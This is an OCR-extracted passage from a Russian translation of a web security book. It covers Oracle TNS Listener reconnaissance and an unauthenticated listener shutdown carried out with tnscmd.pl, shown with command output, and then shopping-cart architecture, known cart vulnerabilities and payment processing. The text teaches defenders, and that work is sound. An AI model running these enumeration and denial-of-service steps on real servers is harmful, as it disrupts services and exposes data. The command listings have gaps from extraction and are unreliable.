1. Операционная система узла. 2. Версия службы Oracle Listener. 3. Дата запуска и время работы системы. 4. Регистрационный журнал и файл параметров службы Listener, в том числе зна чение переменной окружения 5. Доступные службы. Например, ниже приведен листинг, сгенерированный службой Listener при обработ ке запроса от небольшой программы Windows, написанной одним из авторов книги. 192.168.0.5 version Returning raw data version ? for 32 bit Version Production TNS for 32 bit Windows: Version 8.1.7.0.0 Production Windows NT Named Pipes NT Protocol Adapter for 32 bit Windows: Version 8.1.7.0.0 Production Windows NT TCP/IP NT Protocol Adapter for 32 bit Windows: Version 8.1.7.0.0 ?i Служба Oracle Listener сообщает о том, что операционной системой узла является Windows, а используемая версия службы Listener (которая, как правило, синхронизи рована с версией базы данных) --- Version Production. Кроме того, в строке содержится номер версии базы данных: 0x8107000 = 8.1.7.0.0. Однако более полную информацию можно получить с помощью сценария tnscmd.pl, который можно найти по адресу: Следующий сценарий Perl предназначен для систем Linux и BSD. status p 1521 192.168.0.5 sending to 192.168.0.5:1521 writing 89 bytes reading 6 H R DESCRIPTION VERSION=TNSLSNR for 32 bit Windows: Version 8.1.7.0.0 Production START 22:38:50 STA=ready HANDLER HANDLER ID=295B795C659F 4DFA 853D F6179B02DEA9 PRE=ttc~ 80 Часть I. Будни электронной коммерции
SESSION=NS ADDRESS= PROTOCOL=ipc ESTABLISHED=0 HANDLER PRE=ttc~ SESSION=NS DESCRIPTION= PROTOCOL=tCp PORT=1521 /I HANDLER HANDLER~LOAD=0 HANDLER_ID 2184A3688143 47C6 9FFD 2EBE169C3BEB SESSION=RAW PROTOCOL tCp PROTOCOL STACK SESSION»RAW SERVICE INSTANCE SERVICE INSTANCE INSTANCE INSTANCE Глава 2. Web серверы и серверы баз данных 81
t Из приведенного примера видно, что стала известной и другая информация, в том числе следующая. • Дата последнего запуска базы данных: 22:38:50 • Пути и (что облегчает анализ структуры файловой системы): logora • Имя узла данной системы: • Запушенные службы (включая Global Database): SERVICE • Дополнительная точка входа, свидетельствующая о существовании еще одной службы прослушивания, которой можно воспользоваться: получить также более подробную информацию о конкретных службах с помощью следующей команды: services p 1521 h 192.168.0.5 sending to 192.168.0.5:1521 writing 91 bytes reading 6 ? ERR=0 SERVICES EXIST=1 INSTANCE INSTANCE SERVER STA=ready HANDLER SERVER HANDLER ID=DAOF064463F1 4B7A B413 B2EAFB29046D PROTOCOL=beq 82 Часть I. Будни электронной коммерции
SERVICE= SERVICE SERVER SERVER ARGVO=oracleglobaldb INSTANCE SERVER STA=ready SERVER HANDLER ID=BE4989721433 49B8 854F CABOA4E1A42F ADDRESS= PROTOCOL=BEQ STA=ready Глава 2. и серверы баз данных 83
HANDLER INFO=DOOO KRAMER, 1320> HANDLER ADDRESS= PROTOCOL=tcp PORT=1036 SESSION=RAW Количество недостатков, имеющихся в службе Oracle Listener, зависит от исполь зуемой версии системы Oracle. К ним относится утечка дополнительной информации, возможность записи в файл, переполнения буфера и генерации условия отказа в об служивании (Denial of Service --- DoS). Простейшая возможность генерации условия DoS изначально заложена в версии (а возможно, она является далеко не единст венной). Воспользовавшись этим изъяном, хакер может легко завершить функциони рование службы TNS Listener без аутентификации. Для этого прекрасно подойдет программа tn s cmd.pl. Чтобы продемонстрировать этот подход, сначала воспользуемся командой ping и убедимся, что TNS Listener в данный момент активна. ping p 1521 192.168.0.5 sending to 192.168.0.5:1521 writing 87 reading DESCRIPTION Затем отправим службе Listener команду stop. p 1521 h 192.168.0.5 to 192.168.0.5:1521 writing 87 reading .G ERR=0 И наконец, снова используем команду ping, чтобы определить статус этой службы. ping p 1521 h 192.168.0.5 sending to 192.168.0.5:1521 connect connect to 192.168.0.5 failure: Bad file descriptor at line 165. Теперь, разумеется, служба TNS Listener не отвечает, поскольку она была отключена. 84 Часть Будни электронной коммерции
Резюме Web серверы и системы управления базами данных составляют основу любого Web приложения. Если вопросам обеспечения их безопасности не уделяется должного внимания, конфигурационные параметры этих систем со значениями, заданными по умолчанию, предоставляют хакерам массу возможностей и способов реализации атак. Изъяны имеются в таких Web серверах, как IIS и Apache, однако обычно они имеют отношение ко внешним службам и связанным с ними программам, которые без проблем можно отключить. Уровень защищенности серверов Oracle и Microsoft SQL Server, установленных с параметрами по умолчанию, можно существенно повы сить без ощутимого влияния на их функционирование в целом. Глава 2. Web серверы и серверы баз данных 85 •
ГЛАВА 3 и обработка платежей Вы покупаете не рыбу, а жизни Вальтер Скотт (1771 1832)
Введение За годы своего существования розничная торговля заметно преобразилась. На заре появления магазинов владелец такого заведения находился за прилавком и отвечал на просьбы покупателя. Если необходимый товар был на полке, продавец давал его покупа телю, позволяя рассмотреть поближе. Затем покупатель должен был сообщить, хочет ли приобрести его. Если да, товар откладывался, продавец выслушивал очередную просьбу и так происходило до тех пор, пока все нужные товары не были отложены, после чего владелец магазина мог подготовить окончательный счет и принять оплату. Конечно, ес ли какой либо товар покупателя не устраивал, продавец мог снова вернуть его на полку. Сегодня в большинстве магазинов клиенты могут самостоятельно выбирать това ры. Покупатель может обратиться за помощью к кому либо из консультантов, однако в целом товары представлены так, что с посещением магазинов и покупками не воз никает никаких сложностей. Таким образом, магазины могут обеспечить массовое об служивание покупателей, каждый из которых делает покупки индивидуально. В целом для покупателя процесс приобретения товаров заметно упростился. Такие факторы, как размещение товаров, расположение витрин, местоположение и ширина проходов между стеллажами в магазине, расположение контрольных касс, а также помощь со стороны обслуживающего персонала, имеют немаловажное значение в общей органи зации процесса продаж. Еще новшеством сферы розничной торговли стало появление так называе мых "продаж по Здесь на смену торговому залу пришел печатный каталог товаров и четко определенный способ оформления заказов по почте или телефону. Этот подход позволил торговым компаниям выйти на уровень обслуживания целого региона или целой страны без использования розничных магазинов. В каталогах на товар предлагались конкурентоспособные цены, поскольку отсутствовали накладные расходы на поддержку розничных магазинов, инвентаризацию товара, оплату труда персонала, планирование и материально техническое снабжение. Для выполнения за казов использовалось несколько центральных складов и хорошо налаженная система доставки. С точки зрения покупателя, это была качественно новая ступень: покупки можно было приобретать, не выходя из дома. Электронная коммерция --- это попытка объединения наиболее привлекательных сторон приобретения товаров как непосредственно в магазинах, так и с использованием каталогов. По сравнению с обычным каталогом Web приложения предлагают значи тельно большие возможности для реализации диалога с покупателем. Кроме того, в до полнение к тривиальным тексту и картинкам они позволяют применить более широкий спектр рекламных трюков с использованием анимации, аудио и видеоклипов. Все дела ется для того, чтобы привлечь внимание потенциальных клиентов и в конечном счете продать больше товара. По сути, успех интерактивных магазинов почти полностью зави сит от "простоты" процесса приобретения покупок, чему в немалой степени способст вуют чрезвычайно привлекательные формы представления электронной информации. Отправляясь в магазин, покупатели не придерживаются единой схемы выбора то варов и имеют различные потребности. Торговый зал магазина и его ассортимент на взгляд разных покупателей выглядят неодинаково (для одних более привлекательно, для других --- менее). Поэтому самая сложная проблема, с которой сталкиваются элек тронные магазины, --- это постараться угодить разнообразным потребностям и жела ниям клиентов, находящихся по ту Web интерфейса. Да и товар покупатели выбирают по разному. Например, кто то в процессе перемещения по интерактивному магазину предпочитает собрать перед собой все выбранные покупки, однако до са мого конца откладывает принятие окончательного решения. Возможно, другому по купателю больше нравится делать по одной покупке за один раз. Есть у покупателей собственные привычки и в отношении платежей. Хотя для оплаты розничных Глава 3. Выбор товаров и обработка платежей 87
пок большинством из них используются кредитные карточки, покупатели по прежнему любят расплачиваться наличными или чеком. И даже при использовании кредитных карточек покупатели, возможно, предпочитают карточки какой то опреде ленной компании. В системах электронной коммерции должны учитываться все эти потребности и предпочтения. По мере развития Web приложений электронной коммерции некоторые техноло гии и компоненты стали стандартными для любого электронного магазина. В этой главе основное внимание уделяется двум важнейшим аспектам виртуальных магази нов --- подсистемам выбора товара (торговым тележкам) и внешним системам обра ботки платежей. Цель данной главы --- ознакомить читателя с несколькими наиболее важными концепциями и проблемами, связанными с обеспечением безопасности. Рассмотренный в этой главе материал будет использоваться при обсуждении атак на электронные магазины, описываемых в главе 10. Эволюция торгового зала Проанализировав процесс развития розничной торговли, можно лучше понять роль того или иного компонента в структуре электронной коммерции. Начнем с рас смотрения традиционной модели розничной торговли. Ее основные элементы и их взаимосвязь показаны на рис. Магазин цел \ Компания ) Пос Финансовое Рис. Схема традиционной модели розничной торговли В традиционной модели покупатели взаимодействуют с продавцом в торговом зале магазина. Его назначение заключается в демонстрации и, вообще говоря, хранении некоторого количества товаров, достаточного для удовлетворения потребностей поку пателей в течение одного дня. В торговом зале клиенты могут рассчитаться за свои покупки, а если какие то заказы покупателей нельзя выполнить непосредственно в самом магазине, то продавец обязан оформить заказ и его оплату. Затем такой заказ передается владельцу магазина для дальнейшей обработки. В целом процесс покупки и доставки организован примерно следующим образом. Сначала компания проверяет точность заказа и наличие требуемых товаров. Если все необходимые товары найдены, финансовый отдел компании обрабатывает платеж. После завершения обработки платежа компания взаимодействует со своими постав 88 Часть I. Будни электронной коммерции
щиками и их товарным складом, чтобы приступить к отправке оплаченных товаров в соответствии с заказом. Помимо непосредственной продажи товаров, с розничной торговлей связано вы полнение и многих других сопутствующих функций и операций. Например, необхо димо осуществлять маркетинг, суть которого сводится к тому, чтобы выяснить, что же в первую очередь привлекает покупателей в магазин. По мере роста числа операций, объемов поставляемых товаров и потребностей в по вышении эффективности предприятия розничной торговли начали использовать реали зующие бизнес логику транзакций и управление запасами программные приложения, ко торые были способны выполнять различные бизнес процессы автоматически. Поскольку этот путь оказался для компаний розничной торговли весьма успешным, автоматизация различных процессов стала использоваться все более интенсивно. На рис. 3.2 показан рост уровня автоматизация предприятий благодаря применению вычислительной техники. Рис. 3.2. Автоматизация с использованием компьютерной техники Установленные в торговом зале компьютерные системы позволяют эффективно фиксировать и обрабатывать транзакции. В конце дня все заказы по электронным ка налам связи передаются в корпоративную систему компании. Сюда же поступают об новленные данные от поставщиков и товарного склада, что помогает отслеживать за пасы товаров. В свою очередь, компьютерные системы компании обычно взаимодей ствуют с банковскими компьютерами для пакетной обработки платежей. После завершения этой обработки заказы отсылаются поставщикам и на склад товаров для выполнения. Однако на этом процесс развития не заканчивается. По мере роста числа пользователей, имеющих доступ к Internet, и в результате развития серверов Web приложений возникла электронная розничная торговля (электронный бизнес, или электронная коммерция). Вместо автоматизации бизнес процессов предприятия сами стали автоматизированными. Серверы приложений стали полностью поддерживать выполнение в Internet и были способны взаимодействовать с бизнес процессами финансовых организаций и поставщиков. Средства Internet позволяют выполнять и служебные функции, например связанные с маркетингом. На смену обычным магазинам стали приходить электронные. Компании стали размещать свои магазины в Internet и напрямую обслуживать покупателей, которые взаимодействова ли с электронными витринами через Web броузер. Глава 3. Выбор товаров и обработка платежей 89
В настоящее время всего за несколько минут можно оформить заказ, обработать пла теж, обновить содержимое склада и приступить к выполнению заказов. При этом для ус пешного функционирования такой системы требуется лишь небольшое вмешательство со стороны человека оператора. Модель электронной коммерции изображена на рис. 3.3. Склад товаров Финансовое Обработка транзакций Маркетинг Web Рис. 3.3. Модель электронной коммерции Электронная коммерция Имея представление о модели электронной розничной торговли, рассмотрим про цесс приобретения товаров в интерактивном магазине. Компании размещают свои виртуальные торговые площадки в качестве Web приложений на Web серверах. Такой Web узел становится электронным "представительством" магазина в Internet. Покупа тели "входят" в такой магазин, просматривая Web узел. Электронная витрина приглашает покупателя в мир виртуальных покупок, где они выбирают и приобретают товары. Электронный торговый зал взаимодействует с внешней системой обработки платежей (или каналом платежей), предоставляемой финансовым учреждением, и обеспечивает прием платежей. Кроме того, для обработки и выполнения заказов элек тронный магазин взаимодействует с корпоративными системами самой компании, а также системами поставщиков и программным обеспечением управления складом. При посещении электронного магазина (или Web узла) покупатель просматривает раз личные товары, которые в нем продаются. Он знакомится с описанием товара, его ценой и решает, какое количество товара ему необходимо. Если покупатель решил приобрести тот или иной товар, ему необходимо "отложить" его до завершения виртуальной прогулки по магазину. Чтобы складывать выбранные товары в обычном магазине, ис пользует торговую тележку до того момента, пока он не решит подойти к кассе. Совре менная электронная тележка (или, как ее иногда называют, корзина) аналогична обычной, которая прекрасно знакома каждому покупателю. В ней хранятся данные о выбранных то варах. Когда все необходимые товары выбраны, с использованием такой виртуальной те лежки клиент может еще раз внимательно проанализировать свой выбор, а затем оплатить покупку. В электронных магазинах платежи клиентов обрабатываются через платежные системы, которые поддерживаются той финансовой организацией, где банков ские счета данного магазина. При этом должна обеспечиваться их необходимая на стройка, которая предоставит возможность обслуживания различных потребностей кли ентов. Платежной системой проверяется законность используемого покупателем средства 90 Часть I. Будни электронной коммерции
оплаты, а также выполняются действия, необходимые для обработки платежа и перевода соответствующей суммы на счет владельца магазина. На рис. 3.4 представлено взаимодей ствие покупателя с электронным магазином розничной торговли. База данных Рис. 3.4. Использование электронной торговой тележки и сис темы обработки платежей Подсистемы выбора товаров Тележки в магазинах самообслуживания используются для удобства клиентов. По купатель берет тележку в специально выделенном месте, находящемся рядом со сто янкой для автомашин или у входа в магазин. Далее он передвигается с тележкой по торговому залу и складывает в нее необходимые товары. Так происходит до тех пор, пока покупатель не решит подойти к контрольной кассе. Расплатившись и закончив перекладывать покупки в автомобиль, покупатель возвращает тележку на место. При посещении электронного супермаркета виртуальная корзина используется для дости жения той же цели --- облегчения процесса приобретения товаров. Чтобы разобраться с основными принципами реализации процесса выбора товаров, необходимо понять, как весь этот механизм функционирует. Назначение и время жизни электронной торговой тележки Когда покупатель впервые заходит в розничный магазин, с использовани ем специального приложения ему предоставляется виртуальная тележка. Она используется до тех пор, пока покупатель не разместит в ней все нужные товары и не покинет Web узел Глава 3. Выбор товаров и обработка платежей 91
данного магазина. После оформления заказа содержимое виртуальной корзины удаляется, а используемые ею ресурсы освобождаются. Поскольку в использовании торговой тележки больше нет необходимости, она "уничтожается" управляющим приложением. Сбор, анализ и сравнение выбранных товаров Как и при использовании традиционной торговой тележки, с помощью электронной покупатель может выбрать нужные товары, проведя тщательный анализ предложений от различных производителей, и поместить их в корзину. Возможность "придержать" това ры и "перевозить" их при передвижении по магазину позволяет экономить время, за трачиваемое на покупки. В противном случае покупателю пришлось бы оплачивать ка ждый товар сразу же после его выбора и лишь затем продолжать навигацию по вирту альному магазину. Кроме того, совершая покупки, можно в любой момент пересмотреть отобранные товары и сравнить их с другими предложениями. Отслеживание общей стоимости Серьезное которым обладает электронная торговая тележка по сравнению с традиционной, состоит в том, что она обеспечивает вывод на экран те кущей общей стоимости товаров по мере их добавления. Таким образом, покупатель может отслеживать общую стоимость выбранных товаров и сравнивать ее со своими финансовыми возможностями. Изменение решения Зачастую покупатель меняет решение о приобретении товара уже после его выбо ра. Если найден более подходящий или дешевый товар, чем тот, который уже содер жится в корзине, то ранее выбранный товар можно заменить новым. Если окажется, что покупатель "не вписывается" в бюджет, то он может отказаться от каких то уже выбранных товаров или приобрести их в меньшем количестве. Электронные тележки позволяют покупателю удалять и изменять количество ранее выбранных товаров. Оформление покупки Электронная тележка помогает владельцу магазина выписывать итоговые счета. Благодаря тому что постоянно отслеживается общая стоимость выбранных товаров, системе контроля не требуется вычислять общую стоимость. Вместо этого просто вы полняется подсчет налогов и дополнительных сборов, а затем генерируется итоговый счет, на основе которого и выполняется оплата. Таким образом, подсистема выбора товаров (электронная торговая тележка) явля ется "сердцем" электронного магазина. Она связывает между собой покупателя, ката лог, складскую и платежную системы. Некоторые подобные системы предоставляют покупателю рекомендации по выбору товаров, а также возможность "на лету" срав нить цены для ряда аналогичных продуктов. Как правило, электронные тележки реа лизуются на сервере. При использовании такой архитектуры клиент может возобно вить процесс приобретения товаров с того же места, в котором по какой либо причи не был внезапно прекращен сеанс связи. Кроме того, если подсистема выбора товаров реализована в клиентской части приложения, она становится потенциальным канди датом для осуществления краж в электронном магазине! 92 Часть I. Будни электронной коммерции
На рис. 3.5 и 3.6 показано, как электронную тележку можно объединить с катало гом товаров и как покупатель может отслеживать выбранные товары в процессе их приобретения. Cotton Shifts IGetapairof Socks S to perfection. Acme Slum this Acme 100% Plain IGeta of Socks Рис. З.5. Электронная тележка, объединенная с ката логом товаров То Update an change the quantity or options and click update. Click delete to remove an item from the cart. Options Price Total Update Delete Total Total $89.99 tax where applicable. Click Here To Continue Рис. З.6. Содержимое тележки Реализация электронной тележки Как видно из рис. 3.7, для правильной реализации подсистемы выбора товаров (электронной тележки) необходимо объединить несколько различных компонентов. Во первых, такое приложение нужно интегрировать с модулем управления сеансами, который служит для отслеживания процесса приобретения товаров конкретным поку пателем. Во вторых, модуль выбора товаров необходимо объединить с каталогом това ров, который обеспечивает вывод на экран информации о товарах электронного мага зина и позволяет покупателю ее просматривать. Покупатель может выбрать из ката лога какой либо товар и поместить его в свою корзину. В третьих, электронная корзина интегрирована с платежной системой, которая используется при оплате по купки. В четвертых, торговая тележка связана с внутренними базами данных, напри содержимого склада (для автоматической проверки и обновления данных по имеющемуся в наличии товару). В таких базах данных может содержаться также ин формация о покупателях и их предпочтениях и т.д. Глава 3. Выбор товаров и обработка платежей 93
Покупатель Рис. Основные принципы реализации электронной тележки За время существования электронной розничной торговли было реализовано мно жество различных типов электронных тележек. Одни из них к категории общедоступного программного обеспечения с открытым исходным кодом, другие рас пространяются как коммерческие приложения от сторонних производителей. Несмот ря на существование большого количества различных электронных тележек, реализа ция многих из них оказалась неудачной, что в конечном счете повлияло на информа ционную безопасность. Каталог товаров Обычно в каталоге товаров содержится код товара, его описание, цена и некоторая дополнительная информация. Когда покупатель выбирает товар из каталога, он по мещает его в свою корзину. Слабая интеграция каталога товаров и торговой тележки приводит к появлению различных изъянов в подсистеме безопасности. Например, если при выборе товара покупатель сможет манипулировать его ценой, то может произойти серьезная ошибка. Подобные атаки, направленные на приобрете ние товаров по сниженным ценам, более подробно рассматриваются в главе 10. Правильно реализованная подсистема выбора товаров взаимодействует с внутрен ней базой данных, в которых содержится информация о предлагаемых товарах. Такие параметры, как цены, извлекаются именно из такой базы данных, а не из полей HTML формы, передаваемых между сервером и клиентом. Не менее важной является проверка количества приобретаемых товаров. Что случится, если покупатель размес тит в торговой тележке отрицательное количество продуктов? И что произойдет, если будет введено дробное число? Управление сеансами Еще один существенный аспект реализации электронной тележки --- поддержка механизма управления сеансами. Совершая покупки в электронном супермаркете, каждый покупатель должен использовать свою собственную торговую тележку. Как и в традиционных магазинах, в электронном одновременно может обслуживаться мно жество покупателей. Недоработанный механизм управления сеансами может вызвать путаницу и привести к катастрофическим последствиям, особенно если кому то из клиентов по ошибке придется оплачивать покупки кого либо другого. Для контроля за операциями покупателей необходимо хорошо продумать серверную подсистему управления сеансами. Плохо спроектированная система может привести к захвату се анса злоумышленниками или к утечке информации. 94 Часть I. Будни электронной коммерции
Интерфейс с базой данных Интерфейс между электронной тележкой и внутренними базами данных зачастую оказывается точкой приложения усилий хакеров. Если такой интерфейс реализован некорректно, злоумышленник может воспользоваться опасными SQL запросами к ба зе данных и добиться нарушения безопасности системы. Хакер может также модифи цировать промежуточные таблицы, в которых хранятся данные о сеансах и товарах, выбранных другими пользователями. Взаимодействие с платежной подсистемой После завершения сеанса приобретения товаров все выбранные товары из тележки и соответствующий счет направляются на страницу, предназначенную для генерации счета фактуры и обработки платежей. Плохо проработанный интерфейс взаимодейст вия в этой области может привести к фальсификации цен или вводу недопустимых значений (для количества товара). В таком виде информация будет передана подсис теме обработки платежей. Примеры неудачно реализованных подсистем выбора товаров В этом разделе рассматриваются некоторые примеры, кратко иллюстрирующие те негативные последствия, к которым может привести некорректная реализация элек тронной тележки. Более полный обзор рассматриваемых здесь изъянов приводится в последующих главах, в частности в главе 10. ЭлектроннаятележкаCarello Электронная тележка Carello (http://www.carelloweb.com), систе мой Windows NT, обладает изъяном, который позволяет удаленно выполнять команды с использованием протокола HTTP. В состав этого приложения входит компонент Carello.dll, используемый в процессе взаимодействия с клиентом. Добавив в специ ально сформированный адрес необходимые команды, взломщик может удаленно выполнить их на Web сервере. Например, следующий URL обеспечивает выполнение на сервере команды dir: Полное описание этого изъяна можно найти по адресу: Электронная тележка DCShop Электронная тележка DCShop (http://www.dcscripts.com/dcforum/dcshop/44.html) хранит временную информацию о заказах в виде незашифрованного текста в файле orders.txt. Этот файл находится в подкаталоге Order системы DCShop, и любой поль зователь может извлечь его через протокол HTTP. В файле orders.txt содержатся все данные последних заказов покупателей, включая имена, адреса доставки, почтовые Глава 3. Выбор товаров и обработка платежей 95
адреса, а также данные о кредитных карточках. Для реализации атаки достаточно вос пользоваться следующим Полное описание этого недостатка можно найти по адресу: Электронная тележка от Hassan Consulting Электронная корзина от компании Hassan Consulting products.html) позволяет выполнять на сервере произвольные команды. Это приложе ние предназначено для системы Unix и разработано с использованием языка Perl. Сценарий shop.pl не обеспечивает фильтрации таких символов, как ; и |. Из за этого удаленные пользователи могут вставлять в URL команды и передавать их на сервер. При этом используется следующий URL: Полное описание этого изъяна можно получить по адресу: http://securitytracker.com/ • Некоторые другие электронные тележки При реализации некоторых подсистем выбора товаров внутри исходного HTML кода содержатся скрытые поля формы, используемые для хранения информации о товаре, его цене, весе, и маркировке. Взломщик может сохранить Web страницу с инте ресующим его товаром на своем компьютере и отредактировать исходный HTML код, например изменить параметры данного товара, включая его цену. Полное описание этогонедостаткаможнонайтипоадресу:http://online.securityfocus.com/bid/1237. Обработка платежей До сих пор речь шла о просмотре покупателем предлагаемого электронном мага зине ассортимента товаров и выборе тех из них, которые он хочет приобрести. Вся ответственность за реализацию данного процесса возложена на приложение каталога товаров и подсистему выбора товаров (торговую тележку). Теперь стоит подробно ос тановиться на процессе подсчета общей стоимости выбранных товаров и на том, как покупатели оплачивают свои покупки. Окончательное оформление заказа Как только покупатель завершит выбор необходимых товаров и сообщит о том, что готов оплатить покупку, подсистеме обработки платежей передаются все необходимые сведения о заказе из торговой тележки покупателя. Для окончательного оформления заказа также дополнительная информация: адрес и способ доставки, форма оплаты и т.д. При необходимости на этом этапе покупатель может пересмот реть сделанный заказ и внести в него изменения. 96 Часть I. Будни электронной коммерции
Форма оплаты Покупатель может воспользоваться несколькими вариантами оплаты покупки. Кредитные и дебетные карточки --- это наиболее популярные методы оплаты покупок, независимо от того, совершаются они в традиционных или электронных магазинах. Все электронные системы обработки платежей производят расчеты как по кредитным карточкам, так и с помощью чеков. Проверка подлинности и защита от мошенничества Подсистемы обработки платежей взаимодействуют с платежной системой финан сового учреждения и обеспечивают проверку достоверности информации, указанной покупателем при оплате покупки. При использовании кредитных карточек система обработки платежей финансового учреждения проверяет номера кредитных карточек и конечный срок их действия, устанавливает подлинность владельца, определяет, не превышает ли общая стоимость покупок кредитовый остаток данной карточки, и т.д. На Web узле электронного магазина подсистемой обработки платежей ведется подробный журнал регистрации всех транзакций, что позволяет обеспечить четкое взаимодействие с финансовым учреждением. Поддержка журналов регистрации в большинстве случаев обязательна, а для самих журналов необходимо обеспечить на дежную защиту. Взломщик, получивший доступ к такому журналу, --- это прямая уг роза нарушения безопасности системы, идентификационных данных и средств обра ботки платежей. В дальнейшем их можно использовать в мошеннических махинациях. Выполнение заказа и торгового чека После того как платеж успешно обработан, платежная подсистема виртуального магазина подтверждает принятие заказа, а затем генерируется торговый чек для поку пателя. В настоящее время такие приложения позволяют отправлять покупателям торговые чеки по электронной почте, а также сообщать о доставке оплаченного това ра. Может также предоставляться сопроводительный номер, используемый службой доставки, чтобы покупатель мог самостоятельно отслеживать процесс доставки заказа. Общие сведения о подсистеме обработки платежей На рис. 3.8 представлена схема типичного процесса обработки платежей для элек тронной коммерции. Тремя основными функциональными элементами подсистемы обработки платежей для электронного магазина являются модуль подтверждения зака за, модуль взаимодействия с платежной системой финансового учреждения модуль взаимодействия с базой данных транзакций (рис. 3.9). Современные способы борьбы с подделкой кредитных карточек Одна из самых популярных тем при обсуждении электронного бизнеса --- это мо шенничество с кредитными карточками. Практически в новостях Глава 3. Выбор товаров и обработка платежей 97
упоминается об инцидентах подобного рода. Еще большее число таких происшест вий остается "за кадром". На современном рынке бытует миф о том, что безопас ность кредитных карточек всецело зависит от протокола SSL. На самом деле в боль шинстве случаев этот протокол имеет весьма отдаленное отношение к подделке кре дитных карточек. Между тем SSL сеанс действительно является той преградой, которая не позволяет хакеру прослушивать сетевой трафик и извлекать конфиденци альную финансовую информацию, отправляемую покупателем в интерактивный ма газин. Сегодня не зафиксировано ни одного случая мошенничества с кредитными карточками, когда злоумышленнику удалось бы взломать сеанс, шифруемый "ненадежным" 40 разрядным ключом протокола SSL, и похитить идентификацион ные данные покупателя. Более того, первая причина мошенничества с кредитными карточками в электронной коммерции связана с проникновением хакера в электрон ный магазин и получением им информации из базы данных транзакций. Несколько лет назад был разработан протокол Secure Electronic Transaction (SET). Этот протокол позволяет владельцу магазина не получать фактическую информа цию о кредитных карточках. Согласно такой схеме в транзакции одновременно участвуют три стороны --- покупатель, продавец и финансовое учреждение. Когда покупатель решает оплатить покупки, на его компьютере отправляет продавцу сообщение с точными данными о транзакции и копией цифрового сер тификата покупателя. Никаких данных о кредитной карточке не сообщается. Затем продавец отсылает запрос своему финансовому учреждению, которое, в свою оче редь, выполняет авторизацию в процессе взаимодействия с финансовым учрежде нием покупателя. При этом используются сведения о сертификате покупателя. Когда все формальности согласованы, платеж считается успешно произведенным. Таким образом, владелец магазина никогда не имеет дела с реальными данными кредитных карточек, и кража информации из системы продавца не влечет за собой мошенничества. Вместе с тем протокол SET не получил широкого распростране ния. В его основу была положена идеализированная модель, требующая от всех трех участников проекта поддержки инфраструктуры шифрования по открытому ключу (Public Key Infrastructure --- PKI) и серьезного программного обеспечения. Чтобы добиться подобного результата, некоторые компании, предоставляющие кре дитные применяют новую технологию, предусматривающую использова ние "разовых" кредитных карточек. Всякий раз, когда покупатель решает произвести платеж в интерактивном режиме, такая компания выпускает в обращение "виртуаль ную" кредитную карточку. Покупатель регистрируется на Web узле компании, пре доставляющей разовые кредитные карточки. Далее он вводит такие параметры, как сумма, которую необходимо будет уплатить, и срок действия платежа. В ответ гене рируется номер "виртуальной" кредитной карточки, действительный только для од ной транзакции. Этот номер связан с подлинной кредитной карточкой данного по купателя и сохраняется на протяжении всего срока использования. В дальнейшем вместо номера обычной кредитной карточки покупатель исполь зует номер виртуальной карточки. С точки зрения продавца, виртуальная кре дитная карточка обрабатывается точно так же, как и обычная. Финансовое учре ждение, с которым взаимодействует интерактивный магазин, отправляет щение с результатами верификации и расчетных операций компании, предос тавившей покупателю виртуальную кредитную карточку. Там определяется, ляется ли данная виртуальная карточка действующей и не превышает ли размер платежа той суммы, которая была указана покупателем. Остальные этапы обра ботки платежа выполняются обычном образом. Сразу же после использования виртуальная кредитная карточка аннулируется. Ее номер больше никогда не будет действителен. Если информация о виртуальной кредитной карточке будет похищена с Web узла электронного магазина и взломщик попытается повторно ею воспользоваться, подделка легко 98 Часть I. Будни электронной коммерции
ся и, помимо отказа в выполнении транзакции, по факту мошенничества будет инициировано расследование. Компания Discover Financial Services, эмитент кредитных карточек однократного применения Discover (Single Use Credit Card), использует именно такую модель. Эта компания предлагает покупателям также приложение Discover DeskShop, ко торое можно интегрировать с броузером и, таким образом, упростить быстрый "выпуск в разовых кредитных карточек с Web узла Discover.com. Подробную информацию об этом подходе можно найти по адресу: Основная схема использования разовых кредитных карточек представлена на рис. 3.8. Для окончательного оформления заказа у пользователя запрашивается номер кредитной карточки Электронный магазин Платежная система (Страница приложения, запрашивающая номер кредитной карточки) Передача номера временной кредитной карточки Discover Покупатель Система генерирует для пользователя одну временную карточку Пользователь запрашивает номер кредитной карточки Discover и требуемую сумму Финансовое учреждение Номер кредитной карточки одноразового использования Система генерации Рис. 3.8. Использование разовой кредитной карточки Discover для оплаты покупок Страница подтверждения заказа После того как покупатель решил оплатить товары, содержащиеся в электронной тележке, управление передается странице подтверждения заказа, где покупатель дол жен указать такую информацию, как номер кредитной карточки, свое имя, адрес и тип доставки, а также адрес, по которому нужно отправить счет. Интерфейс системы обработки платежей финансового учреждения Каждый электронный магазин взаимодействует с платежной системой определен ного финансового учреждения. Эта система предоставляет интерфейс, реализованный в виде программного компонента. Так, например, платежная система PayFlow Pro, разработанная компанией VeriSign, предоставляет множество таких компонентов, включая Java объект, динамически подключаемую библиотеку DLL, поддерживающую технологию СОМ, а также совместно используемый модуль Unix. Глава 3. Выбор товаров и обработка платежей 99
Вызов такого интерфейсного компонента выполняется из приложения, реализую щего функции виртуального магазина. Этот компонент пересылает необходимую ин формацию системе обработки платежей финансового учреждения через канал, за шифрованный, например, с использованием протокола Кроме того, данный мо дуль возвращает приложению электронного магазина сообщение с кодом состояния транзакции. В таком сообщении указывается, была ли транзакция успешно выполне на, а также другая подробная информация. На основании полученного кода принима ется решение о дальнейшей обработке заказа. . Транзакция, зашифрованная с использованием протокола SSL Покупатель Страница подтверждения заказа Интерфейс системы обработки платежей Интерфейс базы данных транзакций Транзакция, зашифрованная с использованием протокола SSL 1 ' Система обработки платежей Транзакция, зашифрованная с использованием протокола SSL Финансовое учреждение компании Рис. 3.9. Основная архитектура подсистемы обработки платежей Интерфейс базы данных транзакций После передачи информации о транзакции системе обработки платежей финансо вого учреждения данные о ней и результаты обработки записываются во внутреннюю данных электронного магазина для будущего использования. Необходимо тща тельно спроектировать интерфейс базы данных транзакций, чтобы исключить любую возможность извлечения или искажения хакерами данных транзакции. Пример взаимодействия с системой обработки платежей финансового учреждения Популярная система обработки платежей PayFlow Pro распространяется компани ей Ее клиентская часть используется приложением электронного магазина и взаимодействует с серверами PayFlow Pro компании VeriSign. Клиент PayFlow Pro взаимодействует с серверами PayFlow Pro, передавая HTTP запросы, зашифрованные с использованием SSL. В таком запросе содержатся различные параметры, необходи мые для обработки транзакции. 100 Часть I. Будни электронной коммерции
